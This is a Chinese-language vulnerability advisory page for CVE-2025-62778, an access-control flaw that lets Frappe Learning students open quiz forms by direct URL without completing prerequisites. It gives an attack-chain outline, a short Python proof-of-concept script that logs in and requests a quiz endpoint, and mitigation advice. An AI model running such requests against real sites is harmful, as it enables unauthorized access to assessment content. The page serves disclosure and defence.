IPBUF安全漏洞报告
English
CVE-2025-62778 CVSS 5.3 中危

CVE-2025-62778 Frappe Learning Quiz Form未授权访问漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-62778
漏洞类型
未授权访问/IDOR
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Frappe Learning

相关标签

CVE-2025-62778未授权访问访问控制绕过IDORFrappe LearningLMS学习管理系统OWASP Top 10中等严重

漏洞概述

CVE-2025-62778是Frappe Learning学习管理系统中的一个安全漏洞,漏洞编号为CVE-2025-62778,CVSS评分为5.3,属于中等严重程度。该漏洞影响Frappe Learning 2.39.1及更早版本。漏洞的核心问题在于访问控制机制不完善,学生用户即使没有完成相应的课程要求或获得授权,只要持有Quiz Form的直接URL链接,就能够访问并参与测验。这意味着系统未能正确验证用户对特定学习资源的访问权限,可能导致学生提前获取考试内容或绕过学习流程直接进行测验。该漏洞属于OWASP Top 10中的A01:2021 - Broken Access Control类别,暴露了系统在资源访问控制方面的设计缺陷。

技术细节

Frappe Learning的Quiz Form访问控制漏洞主要源于系统对直接URL访问的权限验证不足。在正常的学习流程中,学生需要按照系统设定的学习路径,逐步完成课程内容后才能进入测验环节。然而,系统在实现Quiz Form路由时,未能充分验证当前用户是否满足访问条件(如课程完成度、授权状态等)。具体而言,当攻击者获取到Quiz Form的直接URL(如包含quiz_id的端点)后,系统仅验证用户的基本登录状态,而跳过了对学习进度的检查。这允许攻击者通过预测或枚举quiz_id来访问任意测验内容。攻击者可以利用此漏洞绕过课程学习流程,直接获取测验题目和答案,或者在正式考试前获取测试内容。该漏洞的技术根因在于服务端缺少对资源访问授权的强制检查,依赖于客户端或前端流程控制而非服务端验证。

攻击链分析

STEP 1
步骤1
信息收集:攻击者通过侦察获取Frappe Learning系统中Quiz Form的直接URL链接,可能通过Web爬虫、错误信息泄露或社交工程获取
STEP 2
步骤2
认证获取:攻击者获取一个有效的学生账户登录凭证,可以是注册的普通学生账号或通过其他方式获取的账户
STEP 3
步骤3
绕过验证:攻击者使用获取的URL直接访问Quiz Form,跳过正常的课程完成流程和前置条件检查
STEP 4
步骤4
内容窃取:成功获取测验题目、答案选项及相关学习内容,可能用于作弊或进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-62778 PoC - Frappe Learning Quiz Form Unauthorized Access # Target: Frappe Learning <= 2.39.1 TARGET_URL = "http://target-site.com" # Replace with actual quiz URL obtained through enumeration or information disclosure QUIZ_URL = f"{TARGET_URL}/api/method/learning_website.quiz.get_quiz?quiz_id=YOUR_QUIZ_ID" def exploit_unauthorized_quiz_access(): """ This PoC demonstrates the unauthorized access to Quiz Form. Steps: 1. Obtain a valid session cookie (student account) 2. Access the Quiz Form URL directly without completing prerequisites 3. Retrieve quiz questions and answers """ session = requests.Session() # Step 1: Login as a student (any authenticated user) login_url = f"{TARGET_URL}/api/method/login" login_data = { "usr": "[email protected]", "pwd": "password123" } session.post(login_url, json=login_data) # Step 2: Directly access Quiz Form without meeting prerequisites headers = { "X-Frappe-CSRF-Token": session.cookies.get("csrf_token") or "" } # Step 3: Retrieve quiz content directly via URL response = session.get(QUIZ_URL, headers=headers) if response.status_code == 200: print("[+] Successfully accessed Quiz Form without authorization!") print(f"[+] Quiz Content: {response.json()}") return True else: print(f"[-] Access failed: {response.status_code}") return False if __name__ == "__main__": exploit_unauthorized_quiz_access()

影响范围

Frappe Learning <= 2.39.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制Quiz URL的可预测性,使用随机化的quiz_id;2) 在Web应用防火墙(WAF)层面添加规则,监控异常的Quiz访问模式;3) 实施IP白名单或地理限制;4) 定期检查访问日志,及时发现异常访问行为;5) 通知用户不要分享Quiz链接。但最有效的缓解措施仍是尽快应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表